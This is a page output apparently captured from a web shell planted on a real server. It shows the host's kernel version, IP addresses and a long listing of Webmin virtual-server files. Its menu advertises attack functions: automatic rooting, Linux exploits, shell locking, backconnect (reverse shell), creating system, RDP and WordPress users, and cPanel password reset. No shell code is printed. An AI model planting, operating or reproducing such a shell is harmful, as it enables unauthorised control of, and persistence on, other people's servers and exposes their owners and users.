Linux server.thearyasamaj.org 4.18.0-553.56.1.el8_10.x86_64 #1 SMP Tue Jun 10 05:00:59 EDT 2025 x86_64
Apache
: 103.90.241.146 | : 216.73.216.28
Cant Read [ /etc/named.conf ]
5.6.40
ftpuser@mantra.thearyasamaj.org
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
usr /
libexec /
webmin /
virtual-server /
[ HOME SHELL ]
Name
Size
Permission
Action
IDNA
[ DIR ]
drwxr-xr-x
PHP
[ DIR ]
drwxr-xr-x
S3
[ DIR ]
drwxr-xr-x
default
[ DIR ]
drwxr-xr-x
help
[ DIR ]
drwxr-xr-x
images
[ DIR ]
drwxr-xr-x
lang
[ DIR ]
drwxr-xr-x
newfeatures-all
[ DIR ]
drwxr-xr-x
newfeatures-gpl
[ DIR ]
drwxr-xr-x
newfeatures-pro
[ DIR ]
drwxr-xr-x
scripts
[ DIR ]
drwxr-xr-x
CHANGELOG
210.34
KB
-rw-r--r--
EC2-IMAGES
870
B
-rw-r--r--
FUNDING.yml
64
B
-rw-r--r--
LICENSE
34.32
KB
-rw-r--r--
README.md
3.89
KB
-rw-r--r--
S3.pm
4.19
KB
-rw-r--r--
acl_security.pl
2.41
KB
-rwxr-xr-x
add_script.cgi
2.44
KB
-rwxr-xr-x
admins-lib.pl
1.54
KB
-rwxr-xr-x
all_webmin.cgi
374
B
-rwxr-xr-x
assoc.cgi
1
KB
-rwxr-xr-x
assoc_form.cgi
966
B
-rwxr-xr-x
autoconfig.cgi
2.25
KB
-rwxr-xr-x
backup-domain.pl
15.59
KB
-rwxr-xr-x
backup.cgi
9.73
KB
-rwxr-xr-x
backup.pl
9.09
KB
-rwxr-xr-x
backup_config.pl
1.79
KB
-rwxr-xr-x
backup_form.cgi
12.49
KB
-rwxr-xr-x
backup_sched.cgi
6.37
KB
-rwxr-xr-x
backuplog.cgi
3.06
KB
-rwxr-xr-x
backups-lib.pl
171.86
KB
-rwxr-xr-x
break_cert.cgi
521
B
-rwxr-xr-x
bw-template
411
B
-rw-r--r--
bw.pl
7.18
KB
-rwxr-xr-x
bwgraph.cgi
12.02
KB
-rwxr-xr-x
bwreset.cgi
1.62
KB
-rwxr-xr-x
bwreset_form.cgi
1.43
KB
-rwxr-xr-x
cert_form.cgi
15.57
KB
-rwxr-xr-x
cgi_args.pl
2.08
KB
-rwxr-xr-x
change-licence.pl
6.08
KB
-rwxr-xr-x
change-license.pl
6.08
KB
-rwxr-xr-x
change-password.pl
3.65
KB
-rwxr-xr-x
change_users.cgi
230
B
-rwxr-xr-x
check-config.pl
1.87
KB
-rwxr-xr-x
check-scripts.pl
6.06
KB
-rwxr-xr-x
check.cgi
1.69
KB
-rwxr-xr-x
clam-wrapper.pl
1.29
KB
-rwxr-xr-x
clamdscan-remote-wrapper.pl
629
B
-rwxr-xr-x
clone-domain.pl
4.49
KB
-rwxr-xr-x
clone.cgi
2.67
KB
-rwxr-xr-x
clone_form.cgi
1.96
KB
-rwxr-xr-x
cloud-lib.pl
17.74
KB
-rw-r--r--
collect-lib.pl
21.49
KB
-rwxr-xr-x
collectinfo.pl
1.71
KB
-rwxr-xr-x
commands-lib.pl
8.84
KB
-rwxr-xr-x
config
4.81
KB
-rw-r--r--
config-freebsd
4.72
KB
-rw-r--r--
config-system.pl
3.22
KB
-rwxr-xr-x
config.info
14.23
KB
-rw-r--r--
config.info.cs
9.28
KB
-rw-r--r--
config.info.de
11.34
KB
-rw-r--r--
config.info.es
7.73
KB
-rw-r--r--
config.info.fr
4.6
KB
-rw-r--r--
config.info.nl
11.73
KB
-rw-r--r--
config.info.no
10.96
KB
-rw-r--r--
config.info.pl
551
B
-rw-r--r--
config.info.tr
5.48
KB
-rw-r--r--
config_info.pl
714
B
-rwxr-xr-x
copy-mailbox.pl
2.43
KB
-rwxr-xr-x
copy_cert_all.cgi
826
B
-rwxr-xr-x
copycert-lib.pl
20.83
KB
-rw-r--r--
create-admin.pl
5.28
KB
-rwxr-xr-x
create-alias.pl
3.36
KB
-rwxr-xr-x
create-database.pl
4.12
KB
-rwxr-xr-x
create-domain.pl
32.26
KB
-rwxr-xr-x
create-login-link.pl
3.34
KB
-rwxr-xr-x
create-plan.pl
5.38
KB
-rwxr-xr-x
create-redirect.pl
4.1
KB
-rwxr-xr-x
create-rs-container.pl
1.87
KB
-rwxr-xr-x
create-s3-bucket.pl
1.77
KB
-rwxr-xr-x
create-shared-address.pl
3.33
KB
-rwxr-xr-x
create-simple-alias.pl
5.36
KB
-rwxr-xr-x
create-template.pl
2.56
KB
-rwxr-xr-x
create-user.pl
11.97
KB
-rwxr-xr-x
create_newmysql.cgi
1.31
KB
-rwxr-xr-x
createvirtualminmodule.sh
1.39
KB
-rwxr-xr-x
cron-lib.pl
6.33
KB
-rw-r--r--
cron_chooser.cgi
722
B
-rwxr-xr-x
cron_select.cgi
641
B
-rwxr-xr-x
csr.cgi
5.2
KB
-rwxr-xr-x
defaultacl
118
B
-rw-r--r--
delete-admin.pl
1.79
KB
-rwxr-xr-x
delete-alias.pl
2.36
KB
-rwxr-xr-x
delete-backup.pl
1.78
KB
-rwxr-xr-x
delete-database.pl
2.24
KB
-rwxr-xr-x
delete-domain.pl
3
KB
-rwxr-xr-x
delete-php-directory.pl
1.86
KB
-rwxr-xr-x
delete-plan.pl
1.75
KB
-rwxr-xr-x
delete-redirect.pl
1.93
KB
-rwxr-xr-x
delete-rs-container.pl
2.08
KB
-rwxr-xr-x
delete-rs-file.pl
2.08
KB
-rwxr-xr-x
delete-s3-bucket.pl
1.9
KB
-rwxr-xr-x
delete-s3-file.pl
1.94
KB
-rwxr-xr-x
delete-script.pl
4.39
KB
-rwxr-xr-x
delete-shared-address.pl
2.18
KB
-rwxr-xr-x
delete-template.pl
1.81
KB
-rwxr-xr-x
delete-user.pl
2.75
KB
-rwxr-xr-x
delete_admins.cgi
704
B
-rwxr-xr-x
delete_aliases.cgi
871
B
-rwxr-xr-x
delete_backup.cgi
1.24
KB
-rwxr-xr-x
delete_databases.cgi
2.33
KB
-rwxr-xr-x
delete_domain.cgi
3.33
KB
-rwxr-xr-x
delete_newmysqls.cgi
1.6
KB
-rwxr-xr-x
delete_plans.cgi
698
B
-rwxr-xr-x
delete_postgrey.cgi
722
B
-rwxr-xr-x
delete_records.cgi
1.36
KB
-rwxr-xr-x
delete_redirects.cgi
822
B
-rwxr-xr-x
delete_scheds.cgi
1.06
KB
-rwxr-xr-x
delete_tmpls.cgi
1.15
KB
-rwxr-xr-x
delete_users.cgi
3.25
KB
-rwxr-xr-x
disable-domain.pl
2.45
KB
-rwxr-xr-x
disable-feature.pl
4.64
KB
-rwxr-xr-x
disable-limit.pl
3.64
KB
-rwxr-xr-x
disable-writelogs.pl
2.2
KB
-rwxr-xr-x
disable_clamd.cgi
543
B
-rwxr-xr-x
disable_domain.cgi
2.36
KB
-rwxr-xr-x
disable_mod_php.cgi
2.76
KB
-rwxr-xr-x
disable_postgrey.cgi
428
B
-rwxr-xr-x
disable_scripts.cgi
649
B
-rwxr-xr-x
disable_spamd.cgi
539
B
-rwxr-xr-x
disconnect-database.pl
2.43
KB
-rwxr-xr-x
dkim-lib.pl
38.03
KB
-rw-r--r--
dkim.cgi
3.55
KB
-rwxr-xr-x
dnscloud-lib.pl
11.45
KB
-rw-r--r--
dnsclouds.cgi
1.28
KB
-rwxr-xr-x
domain-template
1.46
KB
-rw-r--r--
domain_form.cgi
22.15
KB
-rwxr-xr-x
domain_setup.cgi
15.96
KB
-rwxr-xr-x
domainname-lib.pl
3.43
KB
-rwxr-xr-x
downgrade-licence.pl
5.79
KB
-rwxr-xr-x
downgrade-license.pl
5.79
KB
-rwxr-xr-x
download-dropbox-file.pl
1.59
KB
-rwxr-xr-x
download-rs-file.pl
2.45
KB
-rwxr-xr-x
download-s3-file.pl
2.25
KB
-rwxr-xr-x
download_backup.cgi
1.15
KB
-rw-r--r--
download_cert.cgi
647
B
-rwxr-xr-x
download_key.cgi
638
B
-rwxr-xr-x
dynip-lib.pl
4.64
KB
-rwxr-xr-x
dynip.pl
2.49
KB
-rwxr-xr-x
edit_2fa.cgi
1.41
KB
-rwxr-xr-x
edit_admin.cgi
4.26
KB
-rwxr-xr-x
edit_afile.cgi
1.08
KB
-rwxr-xr-x
edit_alias.cgi
3.73
KB
-rwxr-xr-x
edit_bucket.cgi
4.87
KB
-rwxr-xr-x
edit_cloud.cgi
2.33
KB
-rwxr-xr-x
edit_database.cgi
3.83
KB
-rwxr-xr-x
edit_defaults.cgi
2.79
KB
-rwxr-xr-x
edit_dnscloud.cgi
2.1
KB
-rwxr-xr-x
edit_domain.cgi
12.4
KB
-rwxr-xr-x
edit_domdkim.cgi
2.19
KB
-rwxr-xr-x
edit_exclude.cgi
1.08
KB
-rwxr-xr-x
edit_ffile.cgi
2.16
KB
-rwxr-xr-x
edit_limits.cgi
7.49
KB
-rwxr-xr-x
edit_link.cgi
2.65
KB
-rwxr-xr-x
edit_mail.cgi
3.11
KB
-rwxr-xr-x
edit_mailusers.cgi
1.76
KB
-rwxr-xr-x
edit_newautoconfig.cgi
670
B
-rwxr-xr-x
edit_newbw.cgi
6.32
KB
-rwxr-xr-x
edit_newchangelog.cgi
573
B
-rwxr-xr-x
edit_newchroot.cgi
1.77
KB
-rwxr-xr-x
edit_newdynip.cgi
2.19
KB
-rwxr-xr-x
edit_newfeatures.cgi
3.86
KB
-rwxr-xr-x
edit_newfields.cgi
1.25
KB
-rwxr-xr-x
edit_newglobal.cgi
1002
B
-rwxr-xr-x
edit_newips.cgi
2.01
KB
-rwxr-xr-x
edit_newlinks.cgi
2.33
KB
-rwxr-xr-x
edit_newmxs.cgi
1.19
KB
-rwxr-xr-x
edit_newmysqls.cgi
2.48
KB
-rwxr-xr-x
edit_newnotify.cgi
1.56
KB
-rwxr-xr-x
edit_newplan.cgi
2.14
KB
-rwxr-xr-x
edit_newquotacheck.cgi
1.12
KB
-rwxr-xr-x
edit_newquotas.cgi
1.95
KB
-rwxr-xr-x
edit_newretention.cgi
1.44
KB
-rwxr-xr-x
edit_newscripts.cgi
10.62
KB
-rwxr-xr-x
edit_newsharedips.cgi
1.61
KB
-rwxr-xr-x
edit_newshells.cgi
2.04
KB
-rwxr-xr-x
edit_newsv.cgi
4.67
KB
-rwxr-xr-x
edit_newtmpl.cgi
1.95
KB
-rwxr-xr-x
edit_newupgrade.cgi
869
B
-rwxr-xr-x
edit_newvalidate.cgi
5.38
KB
-rwxr-xr-x
edit_pass.cgi
1.2
KB
-rwxr-xr-x
edit_phpmode.cgi
8.28
KB
-rw-r--r--
edit_plan.cgi
7.82
KB
-rwxr-xr-x
edit_plugconfig.cgi
1.21
KB
-rwxr-xr-x
edit_postgrey.cgi
1.31
KB
-rwxr-xr-x
edit_record.cgi
5.69
KB
-rwxr-xr-x
edit_redirect.cgi
2.65
KB
-rwxr-xr-x
edit_rfile.cgi
2.13
KB
-rwxr-xr-x
edit_script.cgi
4.95
KB
-rwxr-xr-x
edit_spam.cgi
3.26
KB
-rwxr-xr-x
edit_spf.cgi
3.78
KB
-rwxr-xr-x
edit_tmpl.cgi
4.7
KB
-rwxr-xr-x
edit_user.cgi
16.73
KB
-rwxr-xr-x
edit_vfile.cgi
2.79
KB
-rwxr-xr-x
edit_website.cgi
4.62
KB
-rwxr-xr-x
enable-domain.pl
2.02
KB
-rwxr-xr-x
enable-feature.pl
5.32
KB
-rwxr-xr-x
enable-limit.pl
3.6
KB
-rwxr-xr-x
enable-writelogs.pl
2.57
KB
-rwxr-xr-x
enable_clamd.cgi
520
B
-rwxr-xr-x
enable_dkim.cgi
1.57
KB
-rwxr-xr-x
enable_domain.cgi
2.05
KB
-rwxr-xr-x
enable_postgrey.cgi
425
B
-rwxr-xr-x
enable_spamd.cgi
521
B
-rwxr-xr-x
expframe_form.cgi
798
B
-rwxr-xr-x
feature-dir.pl
32.37
KB
-rwxr-xr-x
feature-dns.pl
143.74
KB
-rwxr-xr-x
feature-ftp.pl
18.18
KB
-rwxr-xr-x
feature-logrotate.pl
17.37
KB
-rwxr-xr-x
feature-mail.pl
191.23
KB
-rwxr-xr-x
feature-mysql.pl
102.19
KB
-rwxr-xr-x
feature-postgres.pl
32.16
KB
-rwxr-xr-x
feature-spam.pl
49.28
KB
-rwxr-xr-x
feature-ssl.pl
93.96
KB
-rwxr-xr-x
feature-status.pl
10.7
KB
-rwxr-xr-x
feature-unix.pl
37.38
KB
-rwxr-xr-x
feature-virt.pl
14.13
KB
-rwxr-xr-x
feature-virt6.pl
13.73
KB
-rwxr-xr-x
feature-virus.pl
24
KB
-rwxr-xr-x
feature-web.pl
152.92
KB
-rwxr-xr-x
feature-webalizer.pl
19.4
KB
-rwxr-xr-x
feature-webmin.pl
39.81
KB
-rwxr-xr-x
fetch-script-files.pl
2.61
KB
-rwxr-xr-x
fix-domain-permissions.pl
2.39
KB
-rwxr-xr-x
fix-domain-quota.pl
2.21
KB
-rwxr-xr-x
fix_symlinks.cgi
2.47
KB
-rwxr-xr-x
fixperms.cgi
1.07
KB
-rwxr-xr-x
fixttl.cgi
1.18
KB
-rwxr-xr-x
fixvirtualminrepos.sh
43.58
KB
-rw-r--r--
frame_form.cgi
1.36
KB
-rwxr-xr-x
framefwd-template
639
B
-rw-r--r--
ftp-lib.pl
8.43
KB
-rw-r--r--
generate-cert.pl
7.58
KB
-rwxr-xr-x
generate-letsencrypt-cert.pl
6.86
KB
-rwxr-xr-x
generate-script-sites.pl
1.38
KB
-rwxr-xr-x
get-command.pl
3.73
KB
-rwxr-xr-x
get-dns.pl
4.23
KB
-rwxr-xr-x
get-logs.pl
2.26
KB
-rwxr-xr-x
get-ssl.pl
2.07
KB
-rwxr-xr-x
get-template.pl
2.58
KB
-rwxr-xr-x
import-database.pl
2.94
KB
-rwxr-xr-x
import.cgi
18.24
KB
-rwxr-xr-x
import_database.cgi
1.18
KB
-rwxr-xr-x
import_form.cgi
3.76
KB
-rwxr-xr-x
index.cgi
10.14
KB
-rwxr-xr-x
info.pl
3.36
KB
-rwxr-xr-x
install-cert.pl
8.31
KB
-rwxr-xr-x
install-script.pl
14.06
KB
-rwxr-xr-x
install-service-cert.pl
3.77
KB
-rwxr-xr-x
install-type
4
B
-rw-r--r--
install_awscli.cgi
576
B
-rwxr-xr-x
install_dkim.cgi
442
B
-rwxr-xr-x
install_postgrey.cgi
471
B
-rwxr-xr-x
install_ratelimit.cgi
1.54
KB
-rwxr-xr-x
jailkit-lib.pl
9.32
KB
-rw-r--r--
json-lib.pl
6.43
KB
-rwxr-xr-x
kill_running.cgi
702
B
-rwxr-xr-x
latest-scripts-key.asc
1.75
KB
-rw-r--r--
lets-encrypt-x3-cross-signed.p...
1.61
KB
-rw-r--r--
letsencrypt.cgi
5.22
KB
-rwxr-xr-x
licence-info.pl
1.54
KB
-rwxr-xr-x
licence.cgi
1.68
KB
-rwxr-xr-x
licence.pl
337
B
-rwxr-xr-x
license-info.pl
1.54
KB
-rwxr-xr-x
license.pl
337
B
-rwxr-xr-x
link.cgi
7.54
KB
-rwxr-xr-x
list-admins.pl
2.93
KB
-rwxr-xr-x
list-aliases.pl
3.72
KB
-rwxr-xr-x
list-available-scripts.pl
3.59
KB
-rwxr-xr-x
list-available-shells.pl
2.84
KB
-rwxr-xr-x
list-backup-keys.pl
1.89
KB
-rwxr-xr-x
list-backup-logs.pl
6
KB
-rwxr-xr-x
list-bandwidth.pl
3.53
KB
-rwxr-xr-x
list-certs-expiry.pl
5.68
KB
-rwxr-xr-x
list-certs.pl
2.79
KB
-rwxr-xr-x
list-commands.pl
3.04
KB
-rwxr-xr-x
list-custom.pl
2.65
KB
-rwxr-xr-x
list-databases.pl
3.45
KB
-rwxr-xr-x
list-domains.pl
28.3
KB
-rwxr-xr-x
list-dropbox-files.pl
2.8
KB
-rwxr-xr-x
list-features.pl
3.48
KB
-rwxr-xr-x
list-gcs-buckets.pl
2.41
KB
-rwxr-xr-x
list-gcs-files.pl
2.37
KB
-rwxr-xr-x
list-mailbox.pl
2.96
KB
-rwxr-xr-x
list-mysql-servers.pl
2.07
KB
-rwxr-xr-x
list-php-directories.pl
2.6
KB
-rwxr-xr-x
list-php-ini.pl
3.07
KB
-rwxr-xr-x
list-php-versions.pl
2.62
KB
-rwxr-xr-x
list-plans.pl
4.05
KB
-rwxr-xr-x
list-redirects.pl
2.69
KB
-rwxr-xr-x
list-rs-containers.pl
2.92
KB
-rwxr-xr-x
list-rs-files.pl
3.14
KB
-rwxr-xr-x
list-s3-buckets.pl
3.92
KB
-rwxr-xr-x
list-s3-files.pl
2.88
KB
-rwxr-xr-x
list-scheduled-backups.pl
5.09
KB
-rwxr-xr-x
list-scripts.pl
4.92
KB
-rwxr-xr-x
list-server-statuses.pl
1.54
KB
-rwxr-xr-x
list-service-certs.pl
2.31
KB
-rwxr-xr-x
list-shared-addresses.pl
2.57
KB
-rwxr-xr-x
list-simple-aliases.pl
3.35
KB
-rwxr-xr-x
list-templates.pl
2.2
KB
-rwxr-xr-x
list-users.pl
9.88
KB
-rwxr-xr-x
list_admins.cgi
1.57
KB
-rwxr-xr-x
list_aliases.cgi
3.24
KB
-rwxr-xr-x
list_buckets.cgi
1.61
KB
-rwxr-xr-x
list_clouds.cgi
1.03
KB
-rwxr-xr-x
list_databases.cgi
9.24
KB
-rwxr-xr-x
list_records.cgi
4.2
KB
-rwxr-xr-x
list_redirects.cgi
1.52
KB
-rwxr-xr-x
list_running.cgi
1.6
KB
-rwxr-xr-x
list_sched.cgi
2.75
KB
-rwxr-xr-x
list_scripts.cgi
7.05
KB
-rwxr-xr-x
list_users.cgi
2.75
KB
-rwxr-xr-x
log_parser.pl
5.62
KB
-rwxr-xr-x
lookup-domain-daemon.pl
5.58
KB
-rwxr-xr-x
lookup-domain.pl
5.61
KB
-rwxr-xr-x
mailclient.cgi
2.53
KB
-rwxr-xr-x
maillog.pl
348
B
-rwxr-xr-x
mailusers.cgi
1.44
KB
-rwxr-xr-x
manual_records.cgi
1.21
KB
-rwxr-xr-x
manual_records_save.cgi
1.62
KB
-rwxr-xr-x
mass_aedit.cgi
4.37
KB
-rwxr-xr-x
mass_aedit_form.cgi
1.69
KB
-rwxr-xr-x
mass_change.cgi
5.5
KB
-rwxr-xr-x
mass_create.cgi
10.71
KB
-rwxr-xr-x
mass_create_form.cgi
3.64
KB
-rwxr-xr-x
mass_form.cgi
2.06
KB
-rwxr-xr-x
mass_scripts.cgi
4.62
KB
-rwxr-xr-x
mass_ucreate.cgi
8.07
KB
-rwxr-xr-x
mass_ucreate_form.cgi
1.76
KB
-rwxr-xr-x
mass_uninstall.cgi
2.81
KB
-rwxr-xr-x
mass_upgrade.cgi
4.13
KB
-rwxr-xr-x
migrate-domain.pl
10.18
KB
-rwxr-xr-x
migrate.cgi
4.21
KB
-rwxr-xr-x
migrate_form.cgi
2.68
KB
-rwxr-xr-x
migration-cpanel.pl
48.22
KB
-rwxr-xr-x
migration-directadmin.pl
19.92
KB
-rwxr-xr-x
migration-ensim.pl
21.02
KB
-rwxr-xr-x
migration-lxadmin.pl
16.11
KB
-rwxr-xr-x
migration-plesk.pl
34.62
KB
-rwxr-xr-x
migration-plesk9.pl
31.77
KB
-rwxr-xr-x
migration-psa.pl
21.55
KB
-rwxr-xr-x
modify-admin.pl
6.72
KB
-rwxr-xr-x
modify-all-ips.pl
3.18
KB
-rwxr-xr-x
modify-custom.pl
2.81
KB
-rwxr-xr-x
modify-database-hosts.pl
3.94
KB
-rwxr-xr-x
modify-database-pass.pl
2.97
KB
-rwxr-xr-x
modify-database-user.pl
3.15
KB
-rwxr-xr-x
modify-dns.pl
21.94
KB
-rwxr-xr-x
modify-domain.pl
28.85
KB
-rwxr-xr-x
modify-limits.pl
10.91
KB
-rwxr-xr-x
modify-mail.pl
13.6
KB
-rwxr-xr-x
modify-php-ini.pl
5.11
KB
-rwxr-xr-x
modify-plan.pl
6.68
KB
-rwxr-xr-x
modify-spam.pl
9.9
KB
-rwxr-xr-x
modify-template.pl
3.33
KB
-rwxr-xr-x
modify-user.pl
19.19
KB
-rwxr-xr-x
modify-web.pl
29.91
KB
-rwxr-xr-x
module.info
241
B
-rw-r--r--
module.info.cs
39
B
-rw-r--r--
module.info.de
36
B
-rw-r--r--
module.info.es.auto
43
B
-rw-r--r--
module.info.fr
37
B
-rw-r--r--
module.info.it.auto
35
B
-rw-r--r--
module.info.ja.auto
37
B
-rw-r--r--
module.info.nl
36
B
-rw-r--r--
module.info.no
37
B
-rw-r--r--
module.info.pl
37
B
-rw-r--r--
module.info.pt_BR.auto
42
B
-rw-r--r--
module.info.ru.auto
57
B
-rw-r--r--
module.info.tr
37
B
-rw-r--r--
module.info.tr.auto
37
B
-rw-r--r--
module.info.zh.auto
34
B
-rw-r--r--
module.info.zh_TW.auto
37
B
-rw-r--r--
move-domain.pl
4.58
KB
-rwxr-xr-x
move.cgi
2.48
KB
-rwxr-xr-x
move_form.cgi
1.84
KB
-rwxr-xr-x
move_newlinks.cgi
439
B
-rwxr-xr-x
newchain.cgi
2.59
KB
-rwxr-xr-x
newfeatures-lib.pl
7.87
KB
-rwxr-xr-x
newip_form.cgi
5.38
KB
-rwxr-xr-x
newkey.cgi
5.56
KB
-rwxr-xr-x
notify-domains.pl
5.01
KB
-rwxr-xr-x
notify.cgi
1.69
KB
-rwxr-xr-x
oauth.cgi
1.94
KB
-rwxr-xr-x
peripcerts.cgi
1.07
KB
-rwxr-xr-x
php-lib.pl
78.99
KB
-rwxr-xr-x
plans-lib.pl
9.45
KB
-rwxr-xr-x
ports-lib.pl
4.84
KB
-rw-r--r--
postgres-encodings
1.79
KB
-rw-r--r--
postgrey-lib.pl
11.65
KB
-rwxr-xr-x
postgrey.cgi
2.41
KB
-rwxr-xr-x
postinstall.pl
17.58
KB
-rwxr-xr-x
postsave.cgi
1.31
KB
-rwxr-xr-x
prefs.info
133
B
-rw-r--r--
pro-tip-lib.pl
11.54
KB
-rwxr-xr-x
procmail-logger.pl
934
B
-rwxr-xr-x
procmail-wrapper
8.66
KB
-rwxr-xr-x
procmail-wrapper.c
593
B
-rw-r--r--
provision-lib.pl
2.94
KB
-rw-r--r--
provision.cgi
1.54
KB
-rwxr-xr-x
proxy_form.cgi
803
B
-rwxr-xr-x
public_suffix_list.dat
239.33
KB
-rw-r--r--
quotacheck.cgi
1.05
KB
-rwxr-xr-x
quotas.pl
7.29
KB
-rwxr-xr-x
ratelimit-lib.pl
16.14
KB
-rw-r--r--
ratelimit.cgi
2.83
KB
-rwxr-xr-x
recollect.cgi
630
B
-rwxr-xr-x
recollect_whois.cgi
598
B
-rwxr-xr-x
recovery.cgi
2.22
KB
-rwxr-xr-x
redirects-lib.pl
9.16
KB
-rw-r--r--
reemail.cgi
804
B
-rwxr-xr-x
remote.cgi
3.44
KB
-rwxr-xr-x
remove_cert.cgi
1.44
KB
-rwxr-xr-x
rename-domain.pl
2.79
KB
-rwxr-xr-x
rename.cgi
1.8
KB
-rwxr-xr-x
rename_form.cgi
2.84
KB
-rwxr-xr-x
reseller-template
242
B
-rw-r--r--
resend-email.pl
1.43
KB
-rwxr-xr-x
reset-feature.pl
5.47
KB
-rwxr-xr-x
reset_features.cgi
2.89
KB
-rwxr-xr-x
restart_feature.cgi
1.26
KB
-rwxr-xr-x
restart_script.cgi
1.36
KB
-rwxr-xr-x
restore-domain.pl
16.65
KB
-rwxr-xr-x
restore.cgi
10.66
KB
-rwxr-xr-x
restore_form.cgi
5.72
KB
-rwxr-xr-x
rs-lib.pl
11.23
KB
-rw-r--r--
run-all-webalizer.pl
1.35
KB
-rwxr-xr-x
run-api-command.pl
8.23
KB
-rwxr-xr-x
s3-lib.pl
30.71
KB
-rwxr-xr-x
save_2fa.cgi
3.06
KB
-rwxr-xr-x
save_admin.cgi
2.93
KB
-rwxr-xr-x
save_afile.cgi
738
B
-rwxr-xr-x
save_alias.cgi
3.03
KB
-rwxr-xr-x
save_bucket.cgi
5.6
KB
-rwxr-xr-x
save_cloud.cgi
1
KB
-rwxr-xr-x
save_database.cgi
4.16
KB
-rwxr-xr-x
save_dbhosts.cgi
1.24
KB
-rwxr-xr-x
save_dbname.cgi
1.79
KB
-rwxr-xr-x
save_dbpass.cgi
1.44
KB
-rwxr-xr-x
save_defaults.cgi
2.27
KB
-rwxr-xr-x
save_defplan.cgi
560
B
-rwxr-xr-x
save_dnscloud.cgi
1.04
KB
-rwxr-xr-x
save_domain.cgi
9.88
KB
-rwxr-xr-x
save_domdkim.cgi
910
B
-rwxr-xr-x
save_exclude.cgi
899
B
-rwxr-xr-x
save_expframe.cgi
613
B
-rwxr-xr-x
save_ffile.cgi
1.04
KB
-rwxr-xr-x
save_frame.cgi
1.63
KB
-rwxr-xr-x
save_limits.cgi
3.75
KB
-rwxr-xr-x
save_link.cgi
1.08
KB
-rwxr-xr-x
save_linkcats.cgi
635
B
-rwxr-xr-x
save_mail.cgi
4.86
KB
-rwxr-xr-x
save_mysqlremote.cgi
1.09
KB
-rwxr-xr-x
save_newautoconfig.cgi
1.18
KB
-rwxr-xr-x
save_newbw.cgi
3.01
KB
-rwxr-xr-x
save_newchroot.cgi
1.5
KB
-rwxr-xr-x
save_newdynip.cgi
1.64
KB
-rwxr-xr-x
save_newfeatures.cgi
3.05
KB
-rwxr-xr-x
save_newfields.cgi
808
B
-rwxr-xr-x
save_newglobal.cgi
728
B
-rwxr-xr-x
save_newip.cgi
9.77
KB
-rwxr-xr-x
save_newips.cgi
3.89
KB
-rwxr-xr-x
save_newmxs.cgi
3.86
KB
-rwxr-xr-x
save_newquotas.cgi
1.75
KB
-rwxr-xr-x
save_newretention.cgi
1.03
KB
-rwxr-xr-x
save_newsharedips.cgi
2.46
KB
-rwxr-xr-x
save_newshells.cgi
1.77
KB
-rwxr-xr-x
save_newsv.cgi
3.72
KB
-rwxr-xr-x
save_pass.cgi
3.21
KB
-rwxr-xr-x
save_phpmode.cgi
6.27
KB
-rw-r--r--
save_plan.cgi
3.75
KB
-rwxr-xr-x
save_plugconfig.cgi
988
B
-rwxr-xr-x
save_postgrey.cgi
1.19
KB
-rwxr-xr-x
save_provision.cgi
5.32
KB
-rwxr-xr-x
save_proxy.cgi
1.47
KB
-rwxr-xr-x
save_ratelimit.cgi
4.85
KB
-rwxr-xr-x
save_record.cgi
4.31
KB
-rwxr-xr-x
save_redirect.cgi
2.76
KB
-rwxr-xr-x
save_rfile.cgi
1.04
KB
-rwxr-xr-x
save_scriptallow.cgi
384
B
-rwxr-xr-x
save_scriptlatest.cgi
926
B
-rwxr-xr-x
save_scriptwarn.cgi
1.35
KB
-rwxr-xr-x
save_spam.cgi
2.74
KB
-rwxr-xr-x
save_spf.cgi
3.63
KB
-rwxr-xr-x
save_tmpl.cgi
3.54
KB
-rwxr-xr-x
save_user.cgi
20.06
KB
-rwxr-xr-x
save_validate.cgi
1.69
KB
-rwxr-xr-x
save_vfile.cgi
1.72
KB
-rwxr-xr-x
save_website.cgi
6.41
KB
-rwxr-xr-x
script_form.cgi
5.87
KB
-rwxr-xr-x
script_install.cgi
6.83
KB
-rwxr-xr-x
scriptlatest.pl
5.42
KB
-rwxr-xr-x
scripts-lib.pl
103.4
KB
-rwxr-xr-x
scriptwarn.pl
3.91
KB
-rwxr-xr-x
search.cgi
2.18
KB
-rwxr-xr-x
security-lib.pl
19.54
KB
-rwxr-xr-x
seen_newfeatures.cgi
349
B
-rwxr-xr-x
set-dkim.pl
3.67
KB
-rwxr-xr-x
set-global-feature.pl
5.66
KB
-rwxr-xr-x
set-mysql-pass.pl
2.01
KB
-rwxr-xr-x
set-php-directory.pl
2.87
KB
-rwxr-xr-x
set-spam.pl
7.9
KB
-rwxr-xr-x
set_seen_pro_tip.cgi
243
B
-rwxr-xr-x
setup-repos.pl
3.06
KB
-rwxr-xr-x
showpass.cgi
1.45
KB
-rwxr-xr-x
showphpinfo.cgi
1.02
KB
-rwxr-xr-x
sign-script-installers.pl
4.15
KB
-rwxr-xr-x
simple-lib.pl
17.77
KB
-rwxr-xr-x
spamclear.pl
8.11
KB
-rwxr-xr-x
spamconfig.pl
1.15
KB
-rwxr-xr-x
spamtrap.pl
8.42
KB
-rwxr-xr-x
start-stop-script.pl
3.96
KB
-rwxr-xr-x
start_feature.cgi
983
B
-rwxr-xr-x
start_script.cgi
1.15
KB
-rwxr-xr-x
stats-lib.pl
3.26
KB
-rw-r--r--
stop_feature.cgi
975
B
-rwxr-xr-x
stop_script.cgi
1.04
KB
-rwxr-xr-x
subdomain-template
1.04
KB
-rw-r--r--
summary_domain.cgi
7.06
KB
-rwxr-xr-x
switch_theme.cgi
1.28
KB
-rwxr-xr-x
switch_user.cgi
1.17
KB
-rwxr-xr-x
syncmx-domain.pl
2.22
KB
-rwxr-xr-x
system_info.pl
20.96
KB
-rw-r--r--
test-imap.pl
2.64
KB
-rwxr-xr-x
test-pop3.pl
2.19
KB
-rwxr-xr-x
test-smtp.pl
6.29
KB
-rwxr-xr-x
transfer-domain.pl
4.47
KB
-rwxr-xr-x
transfer.cgi
1.96
KB
-rwxr-xr-x
transfer_form.cgi
3.31
KB
-rwxr-xr-x
unalias-domain.pl
1.9
KB
-rwxr-xr-x
unalias.cgi
1.18
KB
-rwxr-xr-x
uninstall.pl
616
B
-rwxr-xr-x
unscript_install.cgi
3.12
KB
-rwxr-xr-x
unsub-domain.pl
1.93
KB
-rwxr-xr-x
unsub.cgi
1.05
KB
-rwxr-xr-x
update-template
416
B
